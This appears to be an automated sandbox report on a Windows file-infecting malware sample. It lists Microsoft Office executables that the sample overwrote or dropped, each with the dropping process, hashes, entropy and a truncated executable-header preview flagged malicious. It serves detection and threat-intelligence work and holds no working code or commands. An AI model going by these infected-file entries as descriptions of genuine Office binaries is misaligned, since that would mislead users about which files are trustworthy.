Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1722808
Entropy (8bit):	6.4866587360850705
Encrypted:	false
SSDEEP:	49152:Ruoh1EWXRkd+h9y6NsRZ9MtL4kD5G5LVuhqITJemL9SQM3:RuohO2km9PNsRZ9MtL4ktG5LV93
MD5:	17B2C86B269267F4B810DBC51E6D793A
SHA1:	C14E9803B1D7DFBE027BE258957E23D7240C1625
SHA-256:	1EFA16D52D508905C4DBBDE4F450AE4511572E20DFC2AC930623C307410CB735
SHA-512:	B57B92283117554D2F7EF7E85613501F8EB3619980260CE427EAF443729417409BF8C6FA6FB4E1599BFD6EF0B3AC51955CA5CDCB63E9A7B9D680C960FE6545EC
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	307784
Entropy (8bit):	6.541340621340083
Encrypted:	false
SSDEEP:	6144:Pue+OpwoajoJ/cLr6eNI0A2kg79zge/ceeE1+v:3DWhS5g72veeU+v
MD5:	84FFBDBA0110417D41CECC2E90471C0B
SHA1:	3BD410023FAAB616BD19316FC7DA4CF8061843E0
SHA-256:	4C46A3280A95DA909745B05317CC39ABF3C631F79F127F191F1E5AE202A636C9
SHA-512:	FA4B33C8848F4A31D8ABF850997C2311B246EE0103A28A23A688F8FD8DBB2621AB7272DA1CE0C8447F6E8BF4ED97A007599CCBA36A431E5E0CD2BB4E5768FEF7
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	97920
Entropy (8bit):	6.434533395747017
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrC8zKAtCz72I/Q/RPTO5piDDFwzS:zr8WDrC8uFvgy5piDD6zS
MD5:	B35E1DBEB6DE3D98F0D02D5FE062688A
SHA1:	F4C8399B000865937C933ED4D3F7443A6395136A
SHA-256:	BD9D62FD719401FAE645118FBB811EEFA626A2E796FAAF41FF43AE971C46F9C2
SHA-512:	D61B9DE832AD9E160B108640E372DB887D32A4B6CA62652E04410BE0DA0859B79E76FA48B5DB95FFD4A8FFC786D7BC3AC1ECC1964CB3D03385BB2A2AFD923818
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1994448
Entropy (8bit):	6.5494262482330186
Encrypted:	false
SSDEEP:	49152:7l8U9+tiqfG7C+5I6ZOX0Bh4MdDHc/EBRXXZUABfmcQ:7l8+++7hOXODHc/EdQ
MD5:	611A0196619175CA423FC87C3C2B0D17
SHA1:	426524B4E733928688F2CA5E61E110D9BA5E98EA
SHA-256:	EA42CCC4A3105C8D1081D6803C17D7F898F8AE86AFAE34BB3718B15CE1087D55
SHA-512:	6C130A7C935B867353F7E77D0C84BC3F3EE0176ED2327D60969838C409ADC51B2C3B00AC449EFED7327DCFB07007C3D02ED708D2D37837BCB754F25CC60CE7B4
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	275872
Entropy (8bit):	4.230454715080273
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCj6gJJRaCAd1uhNRu7z3zHt4s+zbCtbCc0xXNmi9RHYOqEWu:zr8WDrCj6gxe7z3OzY+9jTYbE+la
MD5:	22141258122C8809D46DA57222A24EEE
SHA1:	CC72AAA1EA2A67D33DA8538B31089041F666B8AF
SHA-256:	7259EFF7EA95C215CEFE5961BD9F4B7387836AE18722ADC9E075552AC20CD23F
SHA-512:	33BE388FFD3654417966295BF29141550D23DFC1A9832565AE50D488C2C0FD0078E69862CBB2B105A491EED02009B40FEC16EE498BADD06F4D2BB5B18D2CEA5B
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	751520
Entropy (8bit):	6.5225913014857735
Encrypted:	false
SSDEEP:	12288:DccV8BFJ0kz4uP9V6wY2M48aVNfffNfYRweSat8UVNfffNfRtAUUn4lDW7f5sBzl:DOFJbl/6r2M48aVNfffNfWVNfffNfDw+
MD5:	5FB2510E2322EB38DBE1414EB158EF02
SHA1:	974C5E74E4D9CBEB1A1BFBA2348E13659578BC38
SHA-256:	7BEA8CDAEEEAB13F9E3C82D520AFD1C8F33A34B519D1FF6B62628DD5C3D9974C
SHA-512:	066195CBFFE4C2EE4D8E39D0C1D7F58A8E54388F22BFF619CCC0E1CD2BCF350A8D81D254C6045F6506EC33F3CB7ACE2C3CA7E77DD05DD05AD6B18F87BB457359
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	182712
Entropy (8bit):	6.321044292407141
Encrypted:	false
SSDEEP:	3072:zr8WDrC3DbGpEPwVH+lMCNy0GEVVS1ikLrDdevXqHai8MBEL4:Pu3XSSwVgvfkhvzHcWEM
MD5:	D6A43031983F75E73D90D8F8F6EE65F3
SHA1:	891DE44CFCE6AC6BC790C766971D94872E8A5073
SHA-256:	28BDD891C54357A87F38A2BF6705BC1B2B6989B5BD3BF4CA750829FBD7FA2B51
SHA-512:	0A96059DE916DC162D297D78AC26B8FAB136E475E2A622CF736E84FCEFAE57C2861D24121E6B87FA70F25401BC8870BB9F2434DFFF77B70E396AE3775DDB2416
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5174360
Entropy (8bit):	7.263145839410475
Encrypted:	false
SSDEEP:	49152:v/xFnOvtaWIDn0apLKkLJU9nU2foKhA4vSWidGHp+NDGQUzbpDOfjxAkrQKl+RPp:RtLK3BDhtvS0Hpe4zbpaAKQkroGIz
MD5:	24FC272DC719890D04C1E6804B0E3D70
SHA1:	8806FFAF77CC4AC229326C83A05472FD7CBB422D
SHA-256:	4400C0D026FD13A51AE0CF1154B2A165BD488EBBC7B1FE8BE9649D72D13DA4AB
SHA-512:	F0D1B9E257B95883AE5F259D749CCAD6B1CF51DD229F602731F377786E161A62784D4F6B96C6535E412761E8D1154B8449A77D05DF8890F2561FBDE5A9D62F38
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	139712
Entropy (8bit):	6.519874180004667
Encrypted:	false
SSDEEP:	3072:zr8WDrCGU5adWAKmzUccnzkVBgEuKjj0WWtPPoI:Put+EjzCg+j6P3
MD5:	7939D58529E97846AD3CE93D63C2778B
SHA1:	36E2D3DAF36C2D0208971A66DAA273B627D43D9E
SHA-256:	131DB672352CDE0AB0154F4E5EE0FD28F93494F5D35FE9572BE2C6BE29467838
SHA-512:	05D79A0F03D4087C970B5E4EA7B08AFAA3C86EB8B8CB4E5F3658DB71CC2DAD969351A1B37FF5384513132846B7B9F022AA5863D02245FBDBE32E4609E3729C9E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	380368
Entropy (8bit):	6.674833575620702
Encrypted:	false
SSDEEP:	6144:PulzgSb/029S2P/7nzGxFrRN0r0ivCZci1FXiO8DaS4wwE0CBlFJmcx:Xw/2q/roN7ivCZci1FC74wdBlFYU
MD5:	10DAF38B33648DB8EC4CAF569EFB8325
SHA1:	D226C4CB3EAC2BBB40C7070DF3360DA6087EF85D
SHA-256:	3ED456CAFC1F681A4823411C4F931DB89A14DD1F4C439814E3C69780F489FB33
SHA-512:	8D0975F6C992DEA085532A41B8542D44CBA540DF7BABF1F81E1EF5A5CFA2CCBA010264B2E96F92CFBFF0A8EEEF18BA90CEC3A0639999FBEBF98EFC4188BD24DC
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1311168
Entropy (8bit):	3.8730299642380492
Encrypted:	false
SSDEEP:	6144:PuUvk8/0NhFYAddenZhUhTNnLUrh+9nTGLljX4wuSzVau:P4wX
MD5:	637C4A042E657BEE894B51CB76ADAC29
SHA1:	9FDFCFC76B81B3966CA37141ABE1819F64AD7DC0
SHA-256:	0D0444E7BE803994FEF0955771A36158ED316480929D868A5F5D91B229F013BE
SHA-512:	CC58C647E48C03163EF8D92F462BFDC27086A913729F2004C220A34FBAA278BF6C4B63223234EC43BEFD1A8E87250ED7034596949214BB714BAB13126550EC2D
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	266648
Entropy (8bit):	4.185481008908313
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCyRaCAd1uhNRuiazvhzpwtWhz7I3EWwwrwYx6RPWdn6ysl4a:zr8WDrCgezzvhF1h3wEWwwbx6ksl4D
MD5:	63852098CCC25D5425C739E6CAD65F4E
SHA1:	DE0C1A4DCA860867D769B155909B5B26323FE00E
SHA-256:	1DF1BE777988330F8D3E437175CA8B9D1CF4AB2C6328EA700013A5A0D766715A
SHA-512:	E6893FD4B8D212754383C86CF493242C8A15408742FF6DBD01A8B6B056EE6F6C359E6E87ABD63628FB54D3719B4C0C9731CA7712C7C78D0CDE7E1231BF814081
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	757232
Entropy (8bit):	6.507776342309189
Encrypted:	false
SSDEEP:	12288:U4tuuLntIMDXw5vde5EFf1Pmbd3lSz3dfp1Swf5M0blmFKuJOJZM30j:7tFDKMg4iX3djfy0blmFlme30
MD5:	C5B5E0CF099BE7D3739C3229560233AA
SHA1:	4806FF225942F85F309C05DFB4C401F051E479F1
SHA-256:	3ACE3886E313B08D4E9F9920047272B140FE7DE8CC65F68C2461F52FAB6ABC70
SHA-512:	4356ED0B8AEB195FF8CA1C4C48EC0B129B720FC573EA6D02CB01943F9F0301F1FD5FB43071DDBEC3E5EC5228158AFFBB40A1E97659BA0B86E29EE77CA75550A2
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	619944
Entropy (8bit):	6.637875601699727
Encrypted:	false
SSDEEP:	12288:NM/Of/Bboj+clWnIKgrP6TFPLNWuX4Pemn3oi8ky9Q8WSe/aSqizuO1qukdQAPnQ:u8JgryFPLNWuX40RulAPn1OcnGVNfffl
MD5:	7A16124F85B72495EE1FE9F639B9231C
SHA1:	6BEC7715F9FBA90EA72176E9211A7D2B66CD2711
SHA-256:	6EC71D7BD6697603174EF482893A6AB891B7C056F407AB7071C4C05B905D3360
SHA-512:	55B7DE7FF27C529E2A13E37C8A5973592865D19FF493F01C6413F6D2921EB08A6225614A9B1A0CF9701397EFF8917C1DB84C3789A915FBDBDC0ACF9BC63ABA17
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	150416
Entropy (8bit):	6.494866167569868
Encrypted:	false
SSDEEP:	3072:zr8WDrCsQPtLW7twRxI5mc5TNN3AsdVgNwihwT3RqEM6ZOfHXb42:PusQMzhdV0nh4Hof7
MD5:	B09DEFF61F6F9FE863E15CCEDDC41BD3
SHA1:	A0E6EF8B3C816C2D588E9E77D08B96D3D0CB097D
SHA-256:	2009879148C3ED6E84842B5B6FADE5C90796432F9661AEAB1F984707131A8421
SHA-512:	08009C92E6B4E652CD6516DCE9A4E88329A7A95C8F423C224FB15B983F1F3E8B239C7FDCAF0A567DE409756B1F813099DF1F5EA26B1B1D6B66D852A2716DE79E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	264576
Entropy (8bit):	6.638841934755568
Encrypted:	false
SSDEEP:	6144:Pug872jsLuLnPo2TTHswP2TGz3FUCHySYI:/+2jsLuT3MfTGW5I
MD5:	E62A03187D8ED6B506E1D2B2273F2E0A
SHA1:	4579EAD2B0EF021621D994D6CF7CEB0FB1C4D03B
SHA-256:	B23D2592ECF09B750E142995632EA34F39F835664B728EA5A719C4734403A6FD
SHA-512:	0EF9AF76CA2A09FB8DF0C709881E496D19A35767DBA00817F9190FFCA263591462ABB3CAFF0DDC5AF4578344E0DF10DCF3910CA7CAC8F5E360B556F0CC6EF414
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	108448
Entropy (8bit):	6.041379910770017
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCWweqz1lezmtJwzojsKyyJFGgHZ//rHzb:zr8WDrCSqzXe0wSyyJFD//Hb
MD5:	F8D9ABB1B7F268C598623F479012D0DD
SHA1:	E79F3937B827EAB37E03C3D6083541641491E701
SHA-256:	FD6A12A515BC65DD8D8E133E4FAF4E60A4BF4F0ADC27E7CC200A200206FA7603
SHA-512:	0E7F482B286860CC322E8E9ABB8BFAA6C9A4C335D443F7EF0349EAF8696514CBE06D0743FBC1181FB45E6FB07E23647DD95B7362829E76DE97BF6071DE12EE31
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	662600
Entropy (8bit):	5.99949921629127
Encrypted:	false
SSDEEP:	12288:hpo/FEVciSJJtH4PoR6moWEBfQLxZPhEx7xgtV2hv4tkYUK2tlIqR7lmNK/IKrtK:UFEWi4JtH4PoRfoFIxZPk0NKbB0R
MD5:	972F426D9B56B37005FDABC7D334747B
SHA1:	140458C19EDCD7C4B75586BB4DBA5930D5693DC5
SHA-256:	5052A0F40917AF50A319DD1BC4C39A62289A0723645AEF4A0DC8DBA0DF0391D9
SHA-512:	A4D3E9EC84C8111423CCD978081A2E95C268A177801F6B3E8F81965BE709F1F062C035A774BF9C7A706FAB67F988D3E88FC87E233C449D0179545A569EAC9DA8
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	260560
Entropy (8bit):	5.442716114061443
Encrypted:	false
SSDEEP:	3072:zr8WDrCl4ZAh7ULoQdHBjw8Q2pFj4+W1ISYpksZmRohnonRBfTjzJEthEWV:PulPfQdhMuj4VM8imPjGthEWV
MD5:	1C9E01BBA5F422C56C9F336EB663411A
SHA1:	51AF077DD40C9407BBF10ECF3C8CBF438A0FE69F
SHA-256:	64397891801142AE1DADB7B7E7C9D72624BCE616EA76E21938ABFD415CF2BB54
SHA-512:	F1B54EFC6744DE37E2849B0B9E69551ADFA42E8E10B73FAA0409619BBC03C0D48077C103D055CB78EB8744EC2D621EA216BEA7E8376CC36C123954BB8A00573F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4316200
Entropy (8bit):	3.92031883071557
Encrypted:	false
SSDEEP:	98304:TYN3nsBQ5ghvEyqf/whWovz9hRJ5RbisrbdsPO9jXsw:kN3nsBcghvEyqf/whxz9hRJ5Rbisrbdr
MD5:	4EDB603EF8AE8C97CDEDB9DD45B456FC
SHA1:	6916AD9547B437DA6AE9EA8243F6EB3645835406
SHA-256:	0EFCF2F2D3372AA05C67283CCCD02063AB8F4B60381598E71263B92C73B2E451
SHA-512:	55CB5D6B99A198B8A27943AD496BCDF8E07CE85A0E655957A8CFB87D2C184CFF10FC8F6EB7EABB470FD56C17B2C1D36931E16437ADE84A87F8CC46FE9DA8AF9D
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	124056
Entropy (8bit):	5.717272734704383
Encrypted:	false
SSDEEP:	1536:yxqjQ+P04wsZLnDrCCwu7mzj9zNtP9zNps8Q:zr8WDrCCLmzj9P95psb
MD5:	69A2BD4BD404C78D413DAD66D32597C3
SHA1:	7663FEFC203E918AA0A6618A4548B273E4AA2893
SHA-256:	5AEAF364B4159E6603DCC5AC220765A83033E62679405C8141A4C209F89BDF6F
SHA-512:	913C45F67F749ECAC269FBCEBDDAB2A274F274DC7FE0376FEB92C8438493FC9B8B528C48962C27B05710C8D1B48E22300002A9D7075D8FD3DEA1680C0772E9B9
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	399808
Entropy (8bit):	4.73869906988326
Encrypted:	false
SSDEEP:	6144:PucyUkKOEEIK128d2VKjw0EYsfZJnPmTuJjac2a51lHpLszc/kzY56du:Nx/B/ki
MD5:	6F1E7014D6B4261336C6828821389687
SHA1:	77C9DE944ED2A5277D85EDA8884612BE7A7497EE
SHA-256:	C97F9E392C57A71936E6E2733EC929D0B955293C8FA697B2609FADFB0C0F8B60
SHA-512:	367ACC2F3BA2CFDB1D6C991EA20D735768477213EE4F66D4DB90D3617DE3AB79B219FF045171887AC4CD3428879B2CDB5FD3CD1F16B0A058A6F974C95DE9A852
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe

Download File

Process:	C:\Windows\svchost.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	763032
Entropy (8bit):	4.114589316949574
Encrypted:	false
SSDEEP:	3072:zr8WDrCcwRnjnzhCiXXXXXX1AzZwAazTwdOLxN1IHO:PucwRnj7XXXXXXSzuz8OZ
MD5:	F898708BB5A98C216A5BDC4D8AB55F31
SHA1:	22F8606DFCC66EAA9348FCBE454AD077C1D6BD48
SHA-256:	9660432E007E774265D438B48100B8D6F0A98DC028D0208720FF7A76C72EA115
SHA-512:	2518C501205897BF611DD43A462AE4F689E1C1587BD2F5F15B33CDB63CFB367A402FB4BB61FFE7A7EC23AC564DA601060011AE6B82CDB8D2E565D14F7C72505F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

